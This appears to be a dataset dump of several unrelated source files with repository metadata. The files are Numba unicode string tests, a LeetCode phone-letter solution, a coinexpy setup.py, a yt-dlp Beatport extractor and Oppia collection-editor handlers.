['', 'xx', a[::-1], a[:-2], a[3:], a, a + a] for substr in [x for x in extras]: self.assertEqual(pyfunc(a, substr), cfunc(a, substr), "'%s'.find('%s')?" % (a, substr)) def test_getitem(self): pyfunc = getitem_usecase cfunc = njit(pyfunc) for s in UNICODE_EXAMPLES: for i in range(-len(s)): self.assertEqual(pyfunc(s, i), cfunc(s, i), "'%s'[%d]?" % (s, i)) def test_getitem_error(self): self.disable_leak_check() pyfunc = getitem_usecase cfunc = njit(pyfunc) for s in UNICODE_EXAMPLES: with self.assertRaises(IndexError) as raises: pyfunc(s, len(s)) self.assertIn('string index out of range', str(raises.exception)) with self.assertRaises(IndexError) as raises: cfunc(s, len(s)) self.assertIn('string index out of range', str(raises.exception)) def test_slice2(self): pyfunc = getitem_usecase cfunc = njit(pyfunc) for s in UNICODE_EXAMPLES: for i in list(range(-len(s), len(s))): for j in list(range(-len(s), len(s))): sl = slice(i, j) self.assertEqual(pyfunc(s, sl), cfunc(s, sl), "'%s'[%d:%d]?" % (s, i, j)) def test_slice2_error(self): pyfunc = getitem_usecase cfunc = njit(pyfunc) for s in UNICODE_EXAMPLES: for i in [-2, -1, len(s), len(s) + 1]: for j in [-2, -1, len(s), len(s) + 1]: sl = slice(i, j) self.assertEqual(pyfunc(s, sl), cfunc(s, sl), "'%s'[%d:%d]?" % (s, i, j)) def test_slice3(self): pyfunc = getitem_usecase cfunc = njit(pyfunc) for s in UNICODE_EXAMPLES: for i in range(-len(s), len(s)): for j in range(-len(s), len(s)): for k in [-2, -1, 1, 2]: sl = slice(i, j, k) self.assertEqual(pyfunc(s, sl), cfunc(s, sl), "'%s'[%d:%d:%d]?" % (s, i, j, k)) def test_slice3_error(self): pyfunc = getitem_usecase cfunc = njit(pyfunc) for s in UNICODE_EXAMPLES: for i in [-2, -1, len(s), len(s) + 1]: for j in [-2, -1, len(s), len(s) + 1]: for k in [-2, -1, 1, 2]: sl = slice(i, j, k) self.assertEqual(pyfunc(s, sl), cfunc(s, sl), "'%s'[%d:%d:%d]?" % (s, i, j, k)) def test_concat(self, flags=no_pyobj_flags): pyfunc = concat_usecase cfunc = njit(pyfunc) for a in UNICODE_EXAMPLES: for b in UNICODE_EXAMPLES[::-1]: self.assertEqual(pyfunc(a, b), cfunc(a, b), "'%s' + '%s'?" % (a, b)) def test_split_exception_empty_sep(self): self.disable_leak_check() pyfunc = split_usecase cfunc = njit(pyfunc) for func in [pyfunc, cfunc]: with self.assertRaises(ValueError) as raises: func('a', '') self.assertIn('empty separator', str(raises.exception)) def test_split_exception_noninteger_maxsplit(self): pyfunc = split_with_maxsplit_usecase cfunc = njit(pyfunc) for sep in [' ', None]: with self.assertRaises(TypingError) as raises: cfunc('a', sep, 2.4) self.assertIn('float64', str(raises.exception), 'non-integer maxsplit with sep = %s' % sep) def test_split(self): pyfunc = split_usecase cfunc = njit(pyfunc) CASES = [ (' a ', None), ('', '⚡'), ('abcabc', '⚡'), ('🐍⚡', '⚡'), ('🐍⚡🐍', '⚡'), ('abababa', 'a'), ('abababa', 'b'), ('abababa', 'c'), ('abababa', 'ab'), ('abababa', 'aba'), ] for test_str, splitter in CASES: self.assertEqual(pyfunc(test_str, splitter), cfunc(test_str, splitter), "'%s'.split('%s')?" % (test_str, splitter)) def test_split_with_maxsplit(self): CASES = [ (' a ', None, 1), ('', '⚡', 1), ('abcabc', '⚡', 1), ('🐍⚡', '⚡', 1), ('🐍⚡🐍', '⚡', 1), ('abababa', 'a', 2), ('abababa', 'b', 1), ('abababa', 'c', 2), ('abababa', 'ab', 1), ('abababa', 'aba', 5), ] for pyfunc, fmt_str in [(split_with_maxsplit_usecase, "'%s'.split('%s', %d)?"), (split_with_maxsplit_kwarg_usecase, "'%s'.split('%s', maxsplit=%d)?")]: cfunc = njit(pyfunc) for test_str, splitter, maxsplit in CASES: self.assertEqual(pyfunc(test_str, splitter, maxsplit), cfunc(test_str, splitter, maxsplit), fmt_str % (test_str, splitter, maxsplit)) def test_split_whitespace(self): pyfunc = split_whitespace_usecase cfunc = njit(pyfunc) all_whitespace = ''.join(map(chr, [ 0x0009, 0x000A, 0x000B, 0x000C, 0x000D, 0x001C, 0x001D, 0x001E, 0x001F, 0x0020, 0x0085, 0x00A0, 0x1680, 0x2000, 0x2001, 0x2002, 0x2003, 0x2004, 0x2005, 0x2006, 0x2007, 0x2008, 0x2009, 0x200A, 0x2028, 0x2029, 0x202F, 0x205F, 0x3000 ])) CASES = [ '', 'abcabc', '🐍 ⚡', '🐍 ⚡ 🐍', '🐍 ⚡ 🐍 ', ' 🐍 ⚡ 🐍', ' 🐍' + all_whitespace + '⚡ 🐍 ', ] for test_str in CASES: self.assertEqual(pyfunc(test_str), cfunc(test_str), "'%s'.split()?" % (test_str,)) def test_join_empty(self): # separate test case pyfunc = join_empty_usecase cfunc = njit(pyfunc) CASES = [ '', '🐍🐍🐍', ] for sep in CASES: self.assertEqual(pyfunc(sep), cfunc(sep), "'%s'.join([])?" % (sep,)) def test_join_non_string_exception(self): # Verify that join of list of integers raises typing exception pyfunc = join_usecase cfunc = njit(pyfunc) # Handle empty separator exception with self.assertRaises(TypingError) as raises: cfunc('', [1,2,3]) # This error message is obscure, but indicates the error was trapped in typing of str.join() # Feel free to change this as we update error messages. exc_message = str(raises.exception) self.assertIn("Invalid use of BoundFunction", exc_message) self.assertIn("(reflected list(int", exc_message) # could be int32 or int64 def test_join(self): pyfunc = join_usecase cfunc = njit(pyfunc) CASES = [ ('', ['', '', '']), ('a', ['', '', '']), ('', ['a', 'bbbb', 'c']), ('🐍🐍🐍', ['⚡⚡'] * 5), ] for sep, parts in CASES: self.assertEqual(pyfunc(sep, parts), cfunc(sep, parts), "'%s'.join('%s')?" % (sep, parts)) def test_join_interleave_str(self): # can pass a string as the parts iterable pyfunc = join_usecase cfunc = njit(pyfunc) CASES = [ ('abc', '123'), ('🐍🐍🐍', '⚡⚡'), ] for sep, parts in CASES: self.assertEqual(pyfunc(sep, parts), cfunc(sep, parts), "'%s'.join('%s')?" % (sep, parts)) def test_inplace_concat(self, flags=no_pyobj_flags): pyfunc = inplace_concat_usecase cfunc = njit(pyfunc) for a in UNICODE_EXAMPLES: for b in UNICODE_EXAMPLES[::-1]: self.assertEqual(pyfunc(a, b), cfunc(a, b), "'%s' + '%s'?" % (a, b)) def test_pointless_slice(self, flags=no_pyobj_flags): def pyfunc(a): return a[:] cfunc = njit(pyfunc) args = ['a'] self.assertEqual(pyfunc(*args), cfunc(*args)) def test_walk_backwards(self, flags=no_pyobj_flags): def pyfunc(a): return a[::-1] cfunc = njit(pyfunc) args = ['a'] self.assertEqual(pyfunc(*args), cfunc(*args)) def test_stride_slice(self, flags=no_pyobj_flags): def pyfunc(a): return a[::2] cfunc = njit(pyfunc) args = ['a'] self.assertEqual(pyfunc(*args), cfunc(*args)) def test_basic_lt(self, flags=no_pyobj_flags): def pyfunc(a, b): return a < b cfunc = njit(pyfunc) args = ['ab', 'b'] self.assertEqual(pyfunc(*args), cfunc(*args)) def test_basic_gt(self, flags=no_pyobj_flags): def pyfunc(a, b): return a > b cfunc = njit(pyfunc) args = ['ab', 'b'] self.assertEqual(pyfunc(*args), cfunc(*args)) def test_comparison(self): def pyfunc(option, x, y): if option == '==': return x == y elif option == '!=': return x != y elif option == '<': return x < y elif option == '>': return x > y elif option == '<=': return x <= y elif option == '>=': return x >= y else: return None cfunc = njit(pyfunc) for x, y in permutations(UNICODE_ORDERING_EXAMPLES, r=2): for cmpop in ['==', '!=', '<', '>', '<=', '>=', '']: args = [cmpop, x, y] self.assertEqual(pyfunc(*args), cfunc(*args), msg='failed on {}'.format(args)) def test_literal_concat(self): def pyfunc(x): abc = 'abc' if len(x): return abc + 'b123' + x + 'IO' else: return x + abc + '123' + x cfunc = njit(pyfunc) args = ['x'] self.assertEqual(pyfunc(*args), cfunc(*args)) args = [''] self.assertEqual(pyfunc(*args), cfunc(*args)) def test_literal_comparison(self): def pyfunc(option): x = 'a123' y = 'aa12' if option == '==': return x == y elif option == '!=': return x != y elif option == '<': return x < y elif option == '>': return x > y elif option == '<=': return x <= y elif option == '>=': return x >= y else: return None cfunc = njit(pyfunc) for cmpop in ['==', '!=', '<', '>', '<=', '>=', '']: args = [cmpop] self.assertEqual(pyfunc(*args), cfunc(*args), msg='failed on {}'.format(args)) def test_literal_len(self): def pyfunc(): return len('abc') cfunc = njit(pyfunc) self.assertEqual(pyfunc(), cfunc()) def test_literal_getitem(self): def pyfunc(which): return 'abc'[which] cfunc = njit(pyfunc) for a in [-1, 0, 1, slice(1, None), slice(None, -1)]: args = [a] self.assertEqual(pyfunc(*args), cfunc(*args), msg='failed on {}'.format(args)) def test_literal_in(self): def pyfunc(x): return x in '9876zabiuh' cfunc = njit(pyfunc) for a in ['a', '9', '1', '', '8uha', '987']: args = [a] self.assertEqual(pyfunc(*args), cfunc(*args), msg='failed on {}'.format(args)) def test_literal_xyzwith(self): def pyfunc(x, y): return 'abc'.startswith(x), 'cde'.endswith(y) cfunc = njit(pyfunc) for args in permutations('abcdefg', r=2): self.assertEqual(pyfunc(*args), cfunc(*args), msg='failed on {}'.format(args)) def test_literal_find(self): def pyfunc(x): return 'abc'.find(x), x.find('a') cfunc = njit(pyfunc) for a in ['ab']: args = [a] self.assertEqual(pyfunc(*args), cfunc(*args), msg='failed on {}'.format(args)) @unittest.skipUnless(_py34_or_later, 'unicode support requires Python 3.4 or later') class TestUnicodeInTuple(BaseTest): def test_const_unicode_in_tuple(self): # Issue 3673 @njit def f(): return ('aa',) < ('bb',) self.assertEqual(f.py_func(), f()) @njit def f(): return ('cc',) < ('bb',) self.assertEqual(f.py_func(), f()) def test_const_unicode_in_hetero_tuple(self): @njit def f(): return ('aa', 1) < ('bb', 1) self.assertEqual(f.py_func(), f()) @njit def f(): return ('aa', 1) < ('aa', 2) self.assertEqual(f.py_func(), f()) if __name__ == '__main__': unittest.main()
true
true
f71f1f105e2e4d5cd2867235033eebefdf2a3279
861
py
Python
leetcode/py/17-letter-combinations-of-a-phone-number.py
tanchao/algo
76de42b7b415f8251a50553027efad998d0b4137
[ "MIT" ]
2
2016-12-08T08:42:03.000Z
2020-05-15T21:08:22.000Z
leetcode/py/17-letter-combinations-of-a-phone-number.py
tanchao/algo
76de42b7b415f8251a50553027efad998d0b4137
[ "MIT" ]
null
null
null
leetcode/py/17-letter-combinations-of-a-phone-number.py
tanchao/algo
76de42b7b415f8251a50553027efad998d0b4137
[ "MIT" ]
null
null
null
NUMBER_TO_LETTER = { '2': ['a', 'b', 'c'], '3': ['d', 'e', 'f'], '4': ['g', 'h', 'i'], '5': ['j', 'k', 'l'], '6': ['m', 'n', 'o'], '7': ['p', 'q', 'r', 's'], '8': ['t', 'u', 'v'], '9': ['w', 'x', 'y', 'z'], } class Solution: def letterCombinations(self, digits: str): if len(digits) == 0: return [] all_combinations = [''] for digit in digits: if digit not in NUMBER_TO_LETTER: return [] # @todo: unexpected curr_combinations = [] for letter in NUMBER_TO_LETTER[digit]: for combination in all_combinations: curr_combinations.append(combination + letter) all_combinations = curr_combinations return all_combinations solution = Solution() print(solution.letterCombinations("42"))
28.7
66
0.487805
NUMBER_TO_LETTER = { '2': ['a', 'b', 'c'], '3': ['d', 'e', 'f'], '4': ['g', 'h', 'i'], '5': ['j', 'k', 'l'], '6': ['m', 'n', 'o'], '7': ['p', 'q', 'r', 's'], '8': ['t', 'u', 'v'], '9': ['w', 'x', 'y', 'z'], } class Solution: def letterCombinations(self, digits: str): if len(digits) == 0: return [] all_combinations = [''] for digit in digits: if digit not in NUMBER_TO_LETTER: return [] curr_combinations = [] for letter in NUMBER_TO_LETTER[digit]: for combination in all_combinations: curr_combinations.append(combination + letter) all_combinations = curr_combinations return all_combinations solution = Solution() print(solution.letterCombinations("42"))
true
true
f71f1f1e8feb9c87e7d3db3d77a033d89c3682cb
1,213
py
Python
setup.py
imanmousaei/coinexpy
be542652b493c588dbf4d630ec50ab92cf5e5371
[ "MIT" ]
12
2021-09-02T18:54:04.000Z
2022-03-17T11:40:39.000Z
setup.py
imanmousaei/coinexpy
be542652b493c588dbf4d630ec50ab92cf5e5371
[ "MIT" ]
4
2021-09-13T11:14:03.000Z
2021-12-11T09:45:33.000Z
setup.py
imanmousaei/coinexpy
be542652b493c588dbf4d630ec50ab92cf5e5371
[ "MIT" ]
5
2021-09-02T19:03:17.000Z
2022-01-13T13:10:32.000Z
from setuptools import setup version = '0.5.1' setup( name='coinexpy', packages=['coinexpy'], version=version, license='MIT', description='Python wrapper for Coinex APIs', long_description_content_type='text/markdown', long_description=open('README.md', 'rt').read(), author='Iman Mousaei', author_email='imanmousaei1379@gmail.com', url='https://github.com/imanmousaei/coinexpy', download_url=f'https://github.com/imanmousaei/coinexpy/archive/refs/tags/v{version}.tar.gz', keywords=['coinex', 'api', 'wrapper', 'trade', 'crypto', 'bitcoin'], install_requires=[ 'urllib3' ], classifiers=[ # "3 - Alpha", "4 - Beta" or "5 - Production/Stable" 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'Topic :: Software Development :: Build Tools', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', ], )
32.783784
96
0.612531
from setuptools import setup version = '0.5.1' setup( name='coinexpy', packages=['coinexpy'], version=version, license='MIT', description='Python wrapper for Coinex APIs', long_description_content_type='text/markdown', long_description=open('README.md', 'rt').read(), author='Iman Mousaei', author_email='imanmousaei1379@gmail.com', url='https://github.com/imanmousaei/coinexpy', download_url=f'https://github.com/imanmousaei/coinexpy/archive/refs/tags/v{version}.tar.gz', keywords=['coinex', 'api', 'wrapper', 'trade', 'crypto', 'bitcoin'], install_requires=[ 'urllib3' ], classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'Topic :: Software Development :: Build Tools', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', ], )
true
true
f71f1f30802fc7155f517414445cf1dadb679435
3,282
py
Python
yt_dlp/extractor/beatport.py
olipfei/yt-dlp
7879e79d11a2e5855167820518df49caf623fe48
[ "Unlicense" ]
11
2022-01-06T22:09:50.000Z
2022-03-12T22:26:22.000Z
yt_dlp/extractor/beatport.py
olipfei/yt-dlp
7879e79d11a2e5855167820518df49caf623fe48
[ "Unlicense" ]
4
2022-02-25T08:20:18.000Z
2022-03-17T16:16:20.000Z
yt_dlp/extractor/beatport.py
olipfei/yt-dlp
7879e79d11a2e5855167820518df49caf623fe48
[ "Unlicense" ]
3
2022-02-19T08:59:13.000Z
2022-03-06T16:11:21.000Z
import re from .common import InfoExtractor from ..compat import compat_str from ..utils import int_or_none class BeatportIE(InfoExtractor): _VALID_URL = r'https?://(?:www\.|pro\.)?beatport\.com/track/(?P<display_id>[^/]+)/(?P<id>[0-9]+)' _TESTS = [{ 'url': 'https://beatport.com/track/synesthesia-original-mix/5379371', 'md5': 'b3c34d8639a2f6a7f734382358478887', 'info_dict': { 'id': '5379371', 'display_id': 'synesthesia-original-mix', 'ext': 'mp4', 'title': 'Froxic - Synesthesia (Original Mix)', }, }, { 'url': 'https://beatport.com/track/love-and-war-original-mix/3756896', 'md5': 'e44c3025dfa38c6577fbaeb43da43514', 'info_dict': { 'id': '3756896', 'display_id': 'love-and-war-original-mix', 'ext': 'mp3', 'title': 'Wolfgang Gartner - Love & War (Original Mix)', }, }, { 'url': 'https://beatport.com/track/birds-original-mix/4991738', 'md5': 'a1fd8e8046de3950fd039304c186c05f', 'info_dict': { 'id': '4991738', 'display_id': 'birds-original-mix', 'ext': 'mp4', 'title': "Tos, Middle Milk, Mumblin' Johnsson - Birds (Original Mix)", } }] def _real_extract(self, url): mobj = self._match_valid_url(url) track_id = mobj.group('id') display_id = mobj.group('display_id') webpage = self._download_webpage(url, display_id) playables = self._parse_json( self._search_regex( r'window\.Playables\s*=\s*({.+?});', webpage, 'playables info', flags=re.DOTALL), track_id) track = next(t for t in playables['tracks'] if t['id'] == int(track_id)) title = ', '.join((a['name'] for a in track['artists'])) + ' - ' + track['name'] if track['mix']: title += ' (' + track['mix'] + ')' formats = [] for ext, info in track['preview'].items(): if not info['url']: continue fmt = { 'url': info['url'], 'ext': ext, 'format_id': ext, 'vcodec': 'none', } if ext == 'mp3': fmt['acodec'] = 'mp3' fmt['abr'] = 96 fmt['asr'] = 44100 elif ext == 'mp4': fmt['acodec'] = 'aac' fmt['abr'] = 96 fmt['asr'] = 44100 formats.append(fmt) self._sort_formats(formats) images = [] for name, info in track['images'].items(): image_url = info.get('url') if name == 'dynamic' or not image_url: continue image = { 'id': name, 'url': image_url, 'height': int_or_none(info.get('height')), 'width': int_or_none(info.get('width')), } images.append(image) return { 'id': compat_str(track.get('id')) or track_id, 'display_id': track.get('slug') or display_id, 'title': title, 'formats': formats, 'thumbnails': images, }
33.151515
101
0.481718
import re from .common import InfoExtractor from ..compat import compat_str from ..utils import int_or_none class BeatportIE(InfoExtractor): _VALID_URL = r'https?://(?:www\.|pro\.)?beatport\.com/track/(?P<display_id>[^/]+)/(?P<id>[0-9]+)' _TESTS = [{ 'url': 'https://beatport.com/track/synesthesia-original-mix/5379371', 'md5': 'b3c34d8639a2f6a7f734382358478887', 'info_dict': { 'id': '5379371', 'display_id': 'synesthesia-original-mix', 'ext': 'mp4', 'title': 'Froxic - Synesthesia (Original Mix)', }, }, { 'url': 'https://beatport.com/track/love-and-war-original-mix/3756896', 'md5': 'e44c3025dfa38c6577fbaeb43da43514', 'info_dict': { 'id': '3756896', 'display_id': 'love-and-war-original-mix', 'ext': 'mp3', 'title': 'Wolfgang Gartner - Love & War (Original Mix)', }, }, { 'url': 'https://beatport.com/track/birds-original-mix/4991738', 'md5': 'a1fd8e8046de3950fd039304c186c05f', 'info_dict': { 'id': '4991738', 'display_id': 'birds-original-mix', 'ext': 'mp4', 'title': "Tos, Middle Milk, Mumblin' Johnsson - Birds (Original Mix)", } }] def _real_extract(self, url): mobj = self._match_valid_url(url) track_id = mobj.group('id') display_id = mobj.group('display_id') webpage = self._download_webpage(url, display_id) playables = self._parse_json( self._search_regex( r'window\.Playables\s*=\s*({.+?});', webpage, 'playables info', flags=re.DOTALL), track_id) track = next(t for t in playables['tracks'] if t['id'] == int(track_id)) title = ', '.join((a['name'] for a in track['artists'])) + ' - ' + track['name'] if track['mix']: title += ' (' + track['mix'] + ')' formats = [] for ext, info in track['preview'].items(): if not info['url']: continue fmt = { 'url': info['url'], 'ext': ext, 'format_id': ext, 'vcodec': 'none', } if ext == 'mp3': fmt['acodec'] = 'mp3' fmt['abr'] = 96 fmt['asr'] = 44100 elif ext == 'mp4': fmt['acodec'] = 'aac' fmt['abr'] = 96 fmt['asr'] = 44100 formats.append(fmt) self._sort_formats(formats) images = [] for name, info in track['images'].items(): image_url = info.get('url') if name == 'dynamic' or not image_url: continue image = { 'id': name, 'url': image_url, 'height': int_or_none(info.get('height')), 'width': int_or_none(info.get('width')), } images.append(image) return { 'id': compat_str(track.get('id')) or track_id, 'display_id': track.get('slug') or display_id, 'title': title, 'formats': formats, 'thumbnails': images, }
true
true
f71f1f5ea6c652ba83e9c4487fc915c47f98899c
8,304
py
Python
core/controllers/collection_editor.py
jlau323/oppia
37438a2c9bf7e66892fb9a6a93a1fe4ca7a82691
[ "Apache-2.0" ]
2
2021-04-08T01:06:08.000Z
2021-06-02T08:20:13.000Z
core/controllers/collection_editor.py
gitter-badger/oppia
7d8e659264582d7ce74bc6c139e597b82bca0e04
[ "Apache-2.0" ]
1
2020-05-27T06:08:17.000Z
2020-05-27T06:08:17.000Z
core/controllers/collection_editor.py
gitter-badger/oppia
7d8e659264582d7ce74bc6c139e597b82bca0e04
[ "Apache-2.0" ]
1
2020-11-05T12:26:10.000Z
2020-11-05T12:26:10.000Z
# coding: utf-8 # Copyright 2015 The Oppia Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS-IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Controllers for the collections editor.""" from __future__ import absolute_import # pylint: disable=import-only-modules from __future__ import unicode_literals # pylint: disable=import-only-modules import base64 from core.controllers import acl_decorators from core.controllers import base from core.domain import collection_services from core.domain import rights_manager from core.domain import search_services from core.domain import summary_services from core.platform import models import feconf current_user_services = models.Registry.import_current_user_services() def _require_valid_version(version_from_payload, collection_version): """Check that the payload version matches the given collection version.""" if version_from_payload is None: raise base.BaseHandler.InvalidInputException( 'Invalid POST request: a version must be specified.') if version_from_payload != collection_version: raise base.BaseHandler.InvalidInputException( 'Trying to update version %s of collection from version %s, ' 'which is too old. Please reload the page and try again.' % (collection_version, version_from_payload)) class CollectionEditorHandler(base.BaseHandler): """Base class for all handlers for the collection editor page.""" pass class CollectionEditorPage(CollectionEditorHandler): """The editor page for a single collection.""" @acl_decorators.can_edit_collection def get(self, _): """Handles GET requests.""" self.render_template('collection-editor-page.mainpage.html') class EditableCollectionDataHandler(CollectionEditorHandler): """A data handler for collections which supports writing.""" GET_HANDLER_ERROR_RETURN_TYPE = feconf.HANDLER_TYPE_JSON @acl_decorators.can_edit_collection def get(self, collection_id): """Populates the data on the individual collection page.""" collection_dict = ( summary_services.get_learner_collection_dict_by_id( collection_id, self.user, allow_invalid_explorations=True)) self.values.update({ 'collection': collection_dict }) self.render_json(self.values) @acl_decorators.can_edit_collection def put(self, collection_id): """Updates properties of the given collection.""" collection = collection_services.get_collection_by_id(collection_id) version = self.payload.get('version') _require_valid_version(version, collection.version) commit_message = self.payload.get('commit_message') if (commit_message is not None and len(commit_message) > feconf.MAX_COMMIT_MESSAGE_LENGTH): raise self.InvalidInputException( 'Commit messages must be at most %s characters long.' % feconf.MAX_COMMIT_MESSAGE_LENGTH) change_list = self.payload.get('change_list') collection_services.update_collection( self.user_id, collection_id, change_list, commit_message) collection_dict = ( summary_services.get_learner_collection_dict_by_id( collection_id, self.user, allow_invalid_explorations=True)) # Send the updated collection back to the frontend. self.values.update({ 'collection': collection_dict }) self.render_json(self.values) class CollectionRightsHandler(CollectionEditorHandler): """Handles management of collection editing rights.""" GET_HANDLER_ERROR_RETURN_TYPE = feconf.HANDLER_TYPE_JSON @acl_decorators.can_edit_collection def get(self, collection_id): """Gets the editing rights for the given collection. Args: collection_id: str. ID for the collection. """ (collection, collection_rights) = ( collection_services.get_collection_and_collection_rights_by_id( collection_id)) self.values.update({ 'can_edit': True, 'can_unpublish': rights_manager.check_can_unpublish_activity( self.user, collection_rights), 'collection_id': collection.id, 'is_private': rights_manager.is_collection_private(collection_id), 'owner_names': rights_manager.get_collection_owner_names( collection_id) }) self.render_json(self.values) class CollectionPublishHandler(base.BaseHandler): """Handles the publication of the given collection.""" @acl_decorators.can_publish_collection def put(self, collection_id): """Publishes the given collection.""" collection = collection_services.get_collection_by_id(collection_id) version = self.payload.get('version') _require_valid_version(version, collection.version) collection.validate(strict=True) collection_services.validate_exps_in_collection_are_public( collection) collection_services.publish_collection_and_update_user_profiles( self.user, collection_id) collection_services.index_collections_given_ids([ collection_id]) collection_rights = rights_manager.get_collection_rights( collection_id, strict=False) self.values.update({ 'can_edit': True, 'can_unpublish': rights_manager.check_can_unpublish_activity( self.user, collection_rights), 'collection_id': collection.id, 'is_private': rights_manager.is_collection_private(collection_id), 'owner_names': rights_manager.get_collection_owner_names( collection_id) }) self.render_json(self.values) class CollectionUnpublishHandler(base.BaseHandler): """Handles the unpublication of the given collection.""" @acl_decorators.can_unpublish_collection def put(self, collection_id): """Unpublishes the given collection.""" collection = collection_services.get_collection_by_id(collection_id) version = self.payload.get('version') _require_valid_version(version, collection.version) rights_manager.unpublish_collection(self.user, collection_id) search_services.delete_collections_from_search_index([ collection_id]) collection_rights = rights_manager.get_collection_rights( collection_id, strict=False) self.values.update({ 'can_edit': True, 'can_unpublish': rights_manager.check_can_unpublish_activity( self.user, collection_rights), 'collection_id': collection.id, 'is_private': rights_manager.is_collection_private(collection_id), 'owner_names': rights_manager.get_collection_owner_names( collection_id) }) self.render_json(self.values) class ExplorationMetadataSearchHandler(base.BaseHandler): """Provides data for exploration search.""" GET_HANDLER_ERROR_RETURN_TYPE = feconf.HANDLER_TYPE_JSON @acl_decorators.open_access def get(self): """Handles GET requests.""" query_string = base64.b64decode(self.request.get('q')) search_cursor = self.request.get('cursor', None) collection_node_metadata_list, new_search_cursor = ( summary_services.get_exp_metadata_dicts_matching_query( query_string, search_cursor, self.user)) self.values.update({ 'collection_node_metadata_list': collection_node_metadata_list, 'search_cursor': new_search_cursor, }) self.render_json(self.values)
35.793103
78
0.698579
from __future__ import absolute_import from __future__ import unicode_literals import base64 from core.controllers import acl_decorators from core.controllers import base from core.domain import collection_services from core.domain import rights_manager from core.domain import search_services from core.domain import summary_services from core.platform import models import feconf current_user_services = models.Registry.import_current_user_services() def _require_valid_version(version_from_payload, collection_version): if version_from_payload is None: raise base.BaseHandler.InvalidInputException( 'Invalid POST request: a version must be specified.') if version_from_payload != collection_version: raise base.BaseHandler.InvalidInputException( 'Trying to update version %s of collection from version %s, ' 'which is too old. Please reload the page and try again.' % (collection_version, version_from_payload)) class CollectionEditorHandler(base.BaseHandler): pass class CollectionEditorPage(CollectionEditorHandler): @acl_decorators.can_edit_collection def get(self, _): self.render_template('collection-editor-page.mainpage.html') class EditableCollectionDataHandler(CollectionEditorHandler): GET_HANDLER_ERROR_RETURN_TYPE = feconf.HANDLER_TYPE_JSON @acl_decorators.can_edit_collection def get(self, collection_id): collection_dict = ( summary_services.get_learner_collection_dict_by_id( collection_id, self.user, allow_invalid_explorations=True)) self.values.update({ 'collection': collection_dict }) self.render_json(self.values) @acl_decorators.can_edit_collection def put(self, collection_id): collection = collection_services.get_collection_by_id(collection_id) version = self.payload.get('version') _require_valid_version(version, collection.version) commit_message = self.payload.get('commit_message') if (commit_message is not None and len(commit_message) > feconf.MAX_COMMIT_MESSAGE_LENGTH): raise self.InvalidInputException( 'Commit messages must be at most %s characters long.' % feconf.MAX_COMMIT_MESSAGE_LENGTH) change_list = self.payload.get('change_list') collection_services.update_collection( self.user_id, collection_id, change_list, commit_message) collection_dict = ( summary_services.get_learner_collection_dict_by_id( collection_id, self.user, allow_invalid_explorations=True)) self.values.update({ 'collection': collection_dict }) self.render_json(self.values) class CollectionRightsHandler(CollectionEditorHandler): GET_HANDLER_ERROR_RETURN_TYPE = feconf.HANDLER_TYPE_JSON @acl_decorators.can_edit_collection def get(self, collection_id): (collection, collection_rights) = ( collection_services.get_collection_and_collection_rights_by_id( collection_id)) self.values.update({ 'can_edit': True, 'can_unpublish': rights_manager.check_can_unpublish_activity( self.user, collection_rights), 'collection_id': collection.id, 'is_private': rights_manager.is_collection_private(collection_id), 'owner_names': rights_manager.get_collection_owner_names( collection_id) }) self.render_json(self.values) class CollectionPublishHandler(base.BaseHandler): @acl_decorators.can_publish_collection def put(self, collection_id): collection = collection_services.get_collection_by_id(collection_id) version = self.payload.get('version') _require_valid_version(version, collection.version) collection.validate(strict=True) collection_services.validate_exps_in_collection_are_public( collection) collection_services.publish_collection_and_update_user_profiles( self.user, collection_id) collection_services.index_collections_given_ids([ collection_id]) collection_rights = rights_manager.get_collection_rights( collection_id, strict=False) self.values.update({ 'can_edit': True, 'can_unpublish': rights_manager.check_can_unpublish_activity( self.user, collection_rights), 'collection_id': collection.id, 'is_private': rights_manager.is_collection_private(collection_id), 'owner_names': rights_manager.get_collection_owner_names( collection_id) }) self.render_json(self.values) class CollectionUnpublishHandler(base.BaseHandler): @acl_decorators.can_unpublish_collection def put(self, collection_id): collection = collection_services.get_collection_by_id(collection_id) version = self.payload.get('version') _require_valid_version(version, collection.version) rights_manager.unpublish_collection(self.user, collection_id) search_services.delete_collections_from_search_index([ collection_id]) collection_rights = rights_manager.get_collection_rights( collection_id, strict=False) self.values.update({ 'can_edit': True, 'can_unpublish': rights_manager.check_can_unpublish_activity( self.user, collection_rights), 'collection_id': collection.id, 'is_private': rights_manager.is_collection_private(collection_id), 'owner_names': rights_manager.get_collection_owner_names( collection_id) }) self.render_json(self.values) class ExplorationMetadataSearchHandler(base.BaseHandler): GET_HANDLER_ERROR_RETURN_TYPE = feconf.HANDLER_TYPE_JSON @acl_decorators.open_access def get(self): query_string = base64.b64decode(self.request.get('q')) search_cursor = self.request.get('cursor', None) collection_node_metadata_list, new_search_cursor = ( summary_services.get_exp_metadata_dicts_matching_query( query_string, search_cursor, self.user)) self.values.update({ 'collection_node_metadata_list': collection_node_metadata_list, 'search_cursor': new_search_cursor, }) self.render_json(self.values)
true
true
f71f1f82deeb1ff237e916ec83b6ae59d364cc6e
2,310
py
Python
demoapp/views.py
Innersystemm/mmad
dde4d72fb6d2471f9637ddb3116535a32b6909cd
[ "MIT" ]
null
null
null
demoapp/views.py
Innersystemm/mmad
dde4d72fb6d2471f9637ddb3116535a32b6909cd
[ "MIT" ]
null
null
null
demoapp/views.py
Innersystemm/mmad
dde4d72fb6d2471f9637ddb3116535a32b6909cd
[ "MIT" ]
null
null
null
